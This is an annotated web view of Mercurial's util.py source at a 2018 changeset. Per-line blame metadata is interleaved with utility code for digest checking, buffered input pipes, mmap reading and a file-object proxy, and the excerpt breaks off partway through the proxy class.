mercurial/util.py
author Gregory Szorc <gregory.szorc@gmail.com>
Mon, 09 Apr 2018 10:18:10 -0700
changeset 37496 1765ed63db40
parent 37455 9ecb7c471cfb
child 37675 5b8a260769a2
permissions -rw-r--r--
util: drop write_content_size=True This is now the default in python-zstandard 0.9. While we're here, also add a comment about the ability to drop frame magic to save space. Differential Revision: https://phab.mercurial-scm.org/D3199
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# util.py - Mercurial utility functions and platform specific implementations
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#
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#  Copyright 2005 K. Thananchayan <thananck@yahoo.com>
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#  Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
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#  Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
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#
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# This software may be used and distributed according to the terms of the
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# GNU General Public License version 2 or any later version.
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"""Mercurial utility functions and platform specific implementations.
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This contains helper routines that are independent of the SCM core and
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hide platform-specific details from the core.
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"""
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from __future__ import absolute_import, print_function
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import abc
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import bz2
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import collections
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import contextlib
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import errno
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import gc
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import hashlib
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import itertools
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import mmap
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import os
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import platform as pyplatform
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import re as remod
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import shutil
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import socket
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import stat
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import sys
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import tempfile
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import time
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import traceback
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import warnings
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import zlib
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from . import (
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    encoding,
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    error,
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    i18n,
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    node as nodemod,
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    policy,
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    pycompat,
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    urllibcompat,
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)
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from .utils import (
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    dateutil,
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    procutil,
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    stringutil,
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)
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base85 = policy.importmod(r'base85')
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osutil = policy.importmod(r'osutil')
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parsers = policy.importmod(r'parsers')
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b85decode = base85.b85decode
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b85encode = base85.b85encode
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cookielib = pycompat.cookielib
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empty = pycompat.empty
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httplib = pycompat.httplib
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pickle = pycompat.pickle
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queue = pycompat.queue
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safehasattr = pycompat.safehasattr
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socketserver = pycompat.socketserver
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bytesio = pycompat.bytesio
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# TODO deprecate stringio name, as it is a lie on Python 3.
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stringio = bytesio
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xmlrpclib = pycompat.xmlrpclib
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httpserver = urllibcompat.httpserver
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urlerr = urllibcompat.urlerr
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urlreq = urllibcompat.urlreq
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# workaround for win32mbcs
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_filenamebytestr = pycompat.bytestr
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if pycompat.iswindows:
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    from . import windows as platform
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else:
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    from . import posix as platform
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_ = i18n._
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bindunixsocket = platform.bindunixsocket
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cachestat = platform.cachestat
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checkexec = platform.checkexec
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checklink = platform.checklink
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copymode = platform.copymode
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expandglobs = platform.expandglobs
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getfsmountpoint = platform.getfsmountpoint
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getfstype = platform.getfstype
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groupmembers = platform.groupmembers
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groupname = platform.groupname
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isexec = platform.isexec
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isowner = platform.isowner
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listdir = osutil.listdir
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localpath = platform.localpath
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lookupreg = platform.lookupreg
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makedir = platform.makedir
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nlinks = platform.nlinks
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normpath = platform.normpath
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normcase = platform.normcase
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normcasespec = platform.normcasespec
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normcasefallback = platform.normcasefallback
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openhardlinks = platform.openhardlinks
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oslink = platform.oslink
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parsepatchoutput = platform.parsepatchoutput
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pconvert = platform.pconvert
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poll = platform.poll
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posixfile = platform.posixfile
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rename = platform.rename
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removedirs = platform.removedirs
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samedevice = platform.samedevice
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samefile = platform.samefile
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samestat = platform.samestat
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setflags = platform.setflags
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split = platform.split
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statfiles = getattr(osutil, 'statfiles', platform.statfiles)
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statisexec = platform.statisexec
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statislink = platform.statislink
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umask = platform.umask
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unlink = platform.unlink
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username = platform.username
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try:
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    recvfds = osutil.recvfds
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except AttributeError:
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    pass
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# Python compatibility
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_notset = object()
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def _rapply(f, xs):
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    if xs is None:
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        # assume None means non-value of optional data
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        return xs
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    if isinstance(xs, (list, set, tuple)):
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        return type(xs)(_rapply(f, x) for x in xs)
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    if isinstance(xs, dict):
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        return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
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    return f(xs)
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def rapply(f, xs):
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    """Apply function recursively to every item preserving the data structure
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    >>> def f(x):
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    ...     return 'f(%s)' % x
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    >>> rapply(f, None) is None
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    True
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    >>> rapply(f, 'a')
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    'f(a)'
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    >>> rapply(f, {'a'}) == {'f(a)'}
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    True
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    >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
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    ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
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    >>> xs = [object()]
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    >>> rapply(pycompat.identity, xs) is xs
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    True
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    """
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    if f is pycompat.identity:
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        # fast path mainly for py2
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        return xs
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    return _rapply(f, xs)
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def bitsfrom(container):
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    bits = 0
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    for bit in container:
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        bits |= bit
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    return bits
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# python 2.6 still have deprecation warning enabled by default. We do not want
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# to display anything to standard user so detect if we are running test and
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# only use python deprecation warning in this case.
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_dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
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if _dowarn:
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    # explicitly unfilter our warning for python 2.7
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    #
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    # The option of setting PYTHONWARNINGS in the test runner was investigated.
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    # However, module name set through PYTHONWARNINGS was exactly matched, so
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    # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
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    # makes the whole PYTHONWARNINGS thing useless for our usecase.
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    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
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    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
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    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
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if _dowarn and pycompat.ispy3:
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    # silence warning emitted by passing user string to re.sub()
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    warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
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                            r'mercurial')
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    warnings.filterwarnings(r'ignore', r'invalid escape sequence',
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                            DeprecationWarning, r'mercurial')
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    # TODO: reinvent imp.is_frozen()
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    warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
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                            DeprecationWarning, r'mercurial')
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def nouideprecwarn(msg, version, stacklevel=1):
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    """Issue an python native deprecation warning
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    This is a noop outside of tests, use 'ui.deprecwarn' when possible.
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    """
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    if _dowarn:
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        msg += ("\n(compatibility will be dropped after Mercurial-%s,"
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                " update your code.)") % version
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        warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
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DIGESTS = {
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    'md5': hashlib.md5,
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    'sha1': hashlib.sha1,
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    'sha512': hashlib.sha512,
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}
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# List of digest types from strongest to weakest
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DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
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for k in DIGESTS_BY_STRENGTH:
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    assert k in DIGESTS
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class digester(object):
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    """helper to compute digests.
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    This helper can be used to compute one or more digests given their name.
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    >>> d = digester([b'md5', b'sha1'])
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    >>> d.update(b'foo')
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    >>> [k for k in sorted(d)]
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    ['md5', 'sha1']
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    >>> d[b'md5']
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    'acbd18db4cc2f85cedef654fccc4a4d8'
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    >>> d[b'sha1']
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    '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
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    >>> digester.preferred([b'md5', b'sha1'])
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    'sha1'
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    """
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    def __init__(self, digests, s=''):
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        self._hashes = {}
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        for k in digests:
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            if k not in DIGESTS:
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                raise error.Abort(_('unknown digest type: %s') % k)
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            self._hashes[k] = DIGESTS[k]()
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        if s:
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            self.update(s)
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    def update(self, data):
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        for h in self._hashes.values():
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            h.update(data)
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    def __getitem__(self, key):
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        if key not in DIGESTS:
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            raise error.Abort(_('unknown digest type: %s') % k)
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        return nodemod.hex(self._hashes[key].digest())
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    def __iter__(self):
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        return iter(self._hashes)
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    @staticmethod
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    def preferred(supported):
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        """returns the strongest digest type in both supported and DIGESTS."""
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   263
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        for k in DIGESTS_BY_STRENGTH:
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            if k in supported:
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                return k
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        return None
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   268
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class digestchecker(object):
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    """file handle wrapper that additionally checks content against a given
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    size and digests.
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        d = digestchecker(fh, size, {'md5': '...'})
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    When multiple digests are given, all of them are validated.
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    """
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   277
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    def __init__(self, fh, size, digests):
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        self._fh = fh
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        self._size = size
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        self._got = 0
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        self._digests = dict(digests)
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        self._digester = digester(self._digests.keys())
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   284
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    def read(self, length=-1):
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        content = self._fh.read(length)
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        self._digester.update(content)
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        self._got += len(content)
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        return content
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   290
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    def validate(self):
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        if self._size != self._got:
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            raise error.Abort(_('size mismatch: expected %d, got %d') %
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                              (self._size, self._got))
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        for k, v in self._digests.items():
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            if v != self._digester[k]:
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                # i18n: first parameter is a digest name
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                raise error.Abort(_('%s mismatch: expected %s, got %s') %
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                                  (k, v, self._digester[k]))
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   301
try:
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    buffer = buffer
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   303
except NameError:
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   304
    def buffer(sliceable, offset=0, length=None):
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        if length is not None:
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            return memoryview(sliceable)[offset:offset + length]
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        return memoryview(sliceable)[offset:]
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cb681cc59a8d util: fake the builtin buffer if it's missing (jython)
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   308
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_chunksize = 4096
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class bufferedinputpipe(object):
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    """a manually buffered input pipe
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   313
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    Python will not let us use buffered IO and lazy reading with 'polling' at
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    the same time. We cannot probe the buffer state and select will not detect
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   316
    that data are ready to read if they are already buffered.
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   317
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    This class let us work around that by implementing its own buffering
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   319
    (allowing efficient readline) while offering a way to know if the buffer is
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    empty from the output (allowing collaboration of the buffer with polling).
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   321
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    This class lives in the 'util' module because it makes use of the 'os'
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   323
    module from the python stdlib.
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   324
    """
36554
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   325
    def __new__(cls, fh):
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diff changeset
   326
        # If we receive a fileobjectproxy, we need to use a variation of this
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        # class that notifies observers about activity.
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   328
        if isinstance(fh, fileobjectproxy):
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   329
            cls = observedbufferedinputpipe
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   330
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   331
        return super(bufferedinputpipe, cls).__new__(cls)
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   332
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   333
    def __init__(self, input):
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diff changeset
   334
        self._input = input
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diff changeset
   335
        self._buffer = []
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diff changeset
   336
        self._eof = False
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   337
        self._lenbuf = 0
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   338
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   339
    @property
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   340
    def hasbuffer(self):
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diff changeset
   341
        """True is any data is currently buffered
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   342
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   343
        This will be used externally a pre-step for polling IO. If there is
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   344
        already data then no polling should be set in place."""
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   345
        return bool(self._buffer)
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   346
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   347
    @property
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   348
    def closed(self):
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   349
        return self._input.closed
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   350
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   351
    def fileno(self):
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   352
        return self._input.fileno()
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   353
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   354
    def close(self):
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   355
        return self._input.close()
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   356
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   357
    def read(self, size):
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   358
        while (not self._eof) and (self._lenbuf < size):
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diff changeset
   359
            self._fillbuffer()
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diff changeset
   360
        return self._frombuffer(size)
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   361
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   362
    def readline(self, *args, **kwargs):
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diff changeset
   363
        if 1 < len(self._buffer):
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diff changeset
   364
            # this should not happen because both read and readline end with a
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diff changeset
   365
            # _frombuffer call that collapse it.
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   366
            self._buffer = [''.join(self._buffer)]
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050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
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diff changeset
   367
            self._lenbuf = len(self._buffer[0])
25406
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diff changeset
   368
        lfi = -1
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diff changeset
   369
        if self._buffer:
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   370
            lfi = self._buffer[-1].find('\n')
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diff changeset
   371
        while (not self._eof) and lfi < 0:
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   372
            self._fillbuffer()
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diff changeset
   373
            if self._buffer:
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diff changeset
   374
                lfi = self._buffer[-1].find('\n')
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diff changeset
   375
        size = lfi + 1
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diff changeset
   376
        if lfi < 0: # end of file
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diff changeset
   377
            size = self._lenbuf
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diff changeset
   378
        elif 1 < len(self._buffer):
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diff changeset
   379
            # we need to take previous chunks into account
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diff changeset
   380
            size += self._lenbuf - len(self._buffer[-1])
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diff changeset
   381
        return self._frombuffer(size)
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diff changeset
   382
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   383
    def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   384
        """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   385
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   386
        The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   387
        if size == 0 or not self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   388
            return ''
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   389
        buf = self._buffer[0]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   390
        if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   391
            buf = ''.join(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   392
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   393
        data = buf[:size]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   394
        buf = buf[len(data):]
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   395
        if buf:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   396
            self._buffer = [buf]
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   397
            self._lenbuf = len(buf)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   398
        else:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   399
            self._buffer = []
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   400
            self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   401
        return data
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   402
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   403
    def _fillbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   404
        """read data to the buffer"""
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   405
        data = os.read(self._input.fileno(), _chunksize)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   406
        if not data:
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   407
            self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   408
        else:
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   409
            self._lenbuf += len(data)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   410
            self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   411
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   412
        return data
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   413
34302
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   414
def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   415
    try:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   416
        fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   417
        return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   418
    except ValueError:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   419
        # Empty files cannot be mmapped, but mmapread should still work.  Check
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   420
        # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   421
        if os.fstat(fd).st_size == 0:
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   422
            return ''
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   423
        raise
3bb2a9f25fe9 util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents: 34154
diff changeset
   424
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   425
class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   426
    """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   427
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   428
    This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   429
    before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   430
    """
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   431
    __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   432
        r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   433
        r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   434
    )
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   435
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   436
    def __init__(self, fh, observer):
36613
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36580
diff changeset
   437
        object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls
Augie Fackler <augie@google.com>
parents: 36580
diff changeset
   438
        object.__setattr__(self, r'_observer', observer)
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   439
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   440
    def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   441
        ours = {
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   442
            r'_observer',
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   443
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   444
            # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   445
            r'close',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   446
            # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   447
            r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   448
            r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   449
            r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   450
            r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   451
            r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   452
            r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   453
            r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   454
            r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   455
            r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   456
            r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   457
            r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   458
            r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   459
            # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   460
            r'read',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   461
            r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   462
            r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   463
            r'write',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   464
            # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   465
            # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   466
            r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   467
            # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   468
            r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   469
            # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   470
            # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   471
        }
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   472
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   473
        # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   474
        if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   475
            return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   476
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   477
        return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   478
36840
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36801
diff changeset
   479
    def __nonzero__(self):
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36801
diff changeset
   480
        return bool(object.__getattribute__(self, r'_orig'))
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36801
diff changeset
   481
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36801
diff changeset
   482
    __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy
Matt Harbison <matt_harbison@yahoo.com>
parents: 36801
diff changeset
   483
36553
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   484
    def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   485
        return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   486
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   487
    def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   488
        return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   489
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   490
    def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   491
        return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   492
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   493
    def _observedcall(self, name, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   494
        # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   495
        orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   496
        res = getattr(orig, name)(*args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   497
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   498
        # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   499
        # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   500
        observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   501
        fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   502
        if fn:
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   503
            fn(res, *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   504
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   505
        return res
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   506
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   507
    def close(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
